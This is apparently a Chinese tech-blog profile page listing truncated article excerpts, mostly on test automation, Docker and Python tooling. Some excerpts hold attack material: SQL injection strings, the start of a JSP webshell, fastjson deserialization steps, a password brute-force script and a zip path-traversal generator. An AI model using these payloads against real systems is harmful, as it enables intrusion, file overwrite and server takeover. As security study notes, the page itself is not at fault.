自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(29)
  • 资源 (2)
  • 收藏
  • 关注

原创 接口自动化pytest+request+allure+logging+yaml+ddddocr验证码识别

后续可以自行安排将代码上传gitlab,联动jenkins;jenkins环境需要先部署好所有需要的环境和库。(demo中暂时未使用,实际测试效果差强人意)此处加了一些自己图片处理逻辑,extract.yaml文件是存在接口关联的数据,提取的数据。可以按照实际情况来修改逻辑;编写用户增删改查(curd)测试用例数据。此处需要注意yaml文件的编写方式。需要按照实际场景进行微小修改。编辑pytest.ini文件。编写登录yaml测试数据;编辑环境控制yaml文件。存在提取userid。

2023-06-14 15:54:58 337

原创 python提取json文件数据,并录入表格

python提取json文件数据,并录入表格

2023-04-07 15:48:33 280

原创 centos7.5下无头无界面运行selenium自动化脚本

centos7.5下无头无界面运行selenium自动化脚本

2023-03-23 17:05:09 415

原创 centos7环境-docker部署awvs15.2

centos7环境-docker部署awvs15.2

2023-03-01 15:30:11 852

原创 shell获取free -m的awk命令输出的内容并保存到csv,且画图

shell脚本

2022-07-28 11:44:23 1137

原创 通过selenium进入iframe框架、alert弹窗点击操作

selenium、frame

2022-07-25 17:51:40 3390

原创 linux按照时间筛选日志

linux查看日志

2022-07-01 09:21:31 1450

原创 kubectl常用命令

kubectl命令

2022-06-08 17:19:21 2875

原创 docker创建私有仓库registry,并实现pull和push操作

私有仓库为个人构建的镜像存储建议/etc/docker/daemon.json下配置阿里云的镜像加速1.拉取regietry 镜像docker pull regietry2.运行regietry 镜像docker run -it -d -p 5000:5000 --resatrt=always -v /usr/registry:/tmp/registry --privileged=true registry--privileged=true作用是防止用户无权限无法创建容器使用cu

2022-05-20 13:59:54 975

原创 gitlab(linux)+jmeter脚本+jenkins(windows环境) 构建步骤

1.2.3.System.setProperty("hudson.model.DirectoryBrowserSupport.CSP", "")4.防止中文显示编码异常5.6.7. 邮箱配置和构建步骤8.邮件的格式<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <t......

2022-05-18 13:13:31 565

原创 pytest-html无法生成报告的原因以及解决

1.现象:控制台(console)输出错误如下图,错误提示为未提交任何参数2.解决方法,删除掉启动入口,自己重新新建一个启动入口删除掉下图中红框的启动任务;自己新建一个启动入口...

2022-01-07 11:06:58 2382

原创 python之logger

import loggingimport os.pathimport timedef test_log(): """指定保存日志的文件路径,日志级别,以及调用文件 将日志存入到指定的文件中 :paramlogger: """ # 创建一个logger logger = logging.getLogger() logger.setLevel(logging.INFO) # 创.

2022-01-05 11:03:12 2056

原创 python之logger使用案例

创建logger对象以及,且写入文件以及输出控制台import loggingimport os.pathimport timeclass Logger(object): def __init__(self,logger): """指定保存日志的文件路径,日志级别,以及调用文件 将日志存入到指定的文件中 :paramlogger: """ # 创建一个logger self.logger =.

2022-01-04 17:36:33 2094 1

原创 web自动化pom简单案例

1.基准:base.py包含一些基本的方法定位元素、执行操作等class basepagecl: def __init__(self,driver): self.driver=driver # 进入页面 def open(self,url): self.driver.get(url) # 退出页面 def quit(self): self.driver.quit() # 定位元素 def lo...

2022-01-04 13:54:55 761

原创 python实现滑块移动操作

自动登录滑动操作from selenium import webdriverfrom selenium.webdriver import ActionChainsimport timebrowser = webdriver.Firefox()browser.get('https://8888888888/login.jsp')browser.find_element_by_xpath("/html/body/div[1]/div/div[1]/div[2]/div...

2021-12-30 14:29:29 2565 2

原创 crond简单定时任务书写规范与dev/null

33 16 29 12 * root echo "789456">>/test.txt可不用重启crond服务;;此任务的意思是 12月29日16时33分 root用户执行 “echo "789456">>/test.txt”命令,将789456追加到根目录下的test.txt中*/5 * * * * 表示每5分钟执行一次* */1 * * * 表示每一小时执行一次33 16 * * 6 表示每个星期六16时33分执行一次,星期...

2021-12-29 17:03:05 336

原创 文件上传漏洞简述

前提:一句话木马,可用php、jsp、asp等;学会选择小马(什么语言环境写的马就用什么语言的马),工具菜刀、蚁剑(功能全)等附一个jsp马<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.l

2021-12-22 17:36:35 1870

原创 常见sql注入语句和xss注入语句

1 and 1=1 或者1' and '1'='1 判断注入的类型1 order by 1,2,3,4 数字类型为例;判断当前表存在多少个属性字段1' union select 1,table_name from information_schema.tables where table_schema=database()# 通过占位获取的数据库名 去MySQL的元数据表information_schema中查表名1' union select 1,c...

2021-12-22 16:21:59 2790

原创 fastjson反序列化复现步骤

环境搭建靶机 linux 攻击机 windows 恶意代码存放和rmi/ldap的服务机 linux 1.靶机环境搭建需要搭建docker、docker-compose建议老版本(注意检验docker-compose的版本是否与本机的架构一致)、下载docker-compose到目录/usr/local/bin/后 执行权限分配 sudo chmod 777 docker-compose然后运行 ln -s /usr/local/bin/docker-...

2021-12-16 15:41:55 3944

原创 python简单爬虫代理ip并写入xls案例

仅爬虫 某ip代理首页(如果需要爬虫第1,2...页,外加一个url循环)import requestsimport xlwtfrom bs4 import BeautifulSoupheader={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3','Accept-Encoding.

2021-12-13 13:21:58 2238

原创 python3之threading.thread的用法

import threadingimport timedef function_a(): for i in range(10): print('thread-{}'.format(i)) time.sleep(1)def main(): t=threading.Thread(target=function_a) t.setDaemon(True)#保护主线程,主线程关闭子线程也关闭 t.start() time.sleep.

2021-12-03 16:23:20 1139

原创 制造简易ip并改造日志

# -*- coding: utf-8 -*-# @Time : 2021/11/30 11:39# @Author : 码小白--# @Email : [email protected]# @File : makeip.py# @Software: PyCharmimport redef makeip(): lisr=['0','0','0','0'] for j in range(4): for i in range(1,101): .

2021-12-01 17:14:29 1668

原创 udp--通过输入和文件读取的方式发包

# -*- coding: utf-8 -*-# @Time : 2021/11/23 15:50# @Author : 码小白--# @Email : [email protected]# @File : FFFF.py# @Software: PyCharmimport socketfrom tkinter import *from tkinter import filedialogfrom tkinter.filedialog import *class A..

2021-11-23 17:13:41 1039

原创 Python最lou的端口扫描

import socketfrom threading import Threaddef Scan_tool(): host = input('输入主机:') ports = int(input('输入端口最大右区间:')) for i in range(0,ports): sk=socket.socket() sk.settimeout(2) con_.

2021-11-12 10:56:42 56

原创 Python实现简单密码爆破

实现包的转化,便于密码爆破应用headers='''Host: 192.168.1.2Content-Length: 53Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.2Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW.

2021-11-12 10:30:23 1731

原创 Python的argparse获取命令参数

import socketimport argparse# python 文件名.py --domain qq.com # 运行# ip查询函数def Ipquery(domain): for i in domain: ip = socket.gethostbyname(i) print(i,'--',ip)# 创建ArgumentParser()对象if __name__ == '__main__': parser = argpars...

2021-11-12 10:23:35 567

原创 Python利用zipfile生成linux压缩目录穿越文件

import zipfileif __name__ == "__main__": try: binary = '111' zipFile = zipfile.ZipFile("test2.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("test2.zip") zipFile.writestr("../../../../../../dwst.txt", binary).

2021-11-12 10:13:12 2837

原创 Python利用qq授权码实现发送附件

import tkinterfrom tkinter import filedialogfrom tkinter.filedialog import *from email.mime.text import MIMETextfrom email.header import Headerfrom smtplib import SMTP_SSLfrom email.mime.multipart import MIMEMultipartdef action(): date = int(.

2021-11-12 09:55:11 189

原创 udp发包结合tkinter

import socketimport tkinterfrom tkinter import filedialogfrom tkinter.filedialog import *def action(): #获取输入框内容 date=entry.get().strip() date1=int(entry1.get()) date2=int(entry3.get()) b=str(entry2.get().strip()) s=socket.soc.

2021-11-11 18:47:08 2388

jenkins jmeter ant build.xml

jenkins jmeter ant build.xml

2022-05-18

web自动化pom模式

selenium+pytest 日志生成、运行错误截图、生成html报告、断言校验---; 目前实现上述功能 ,

2022-01-19

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除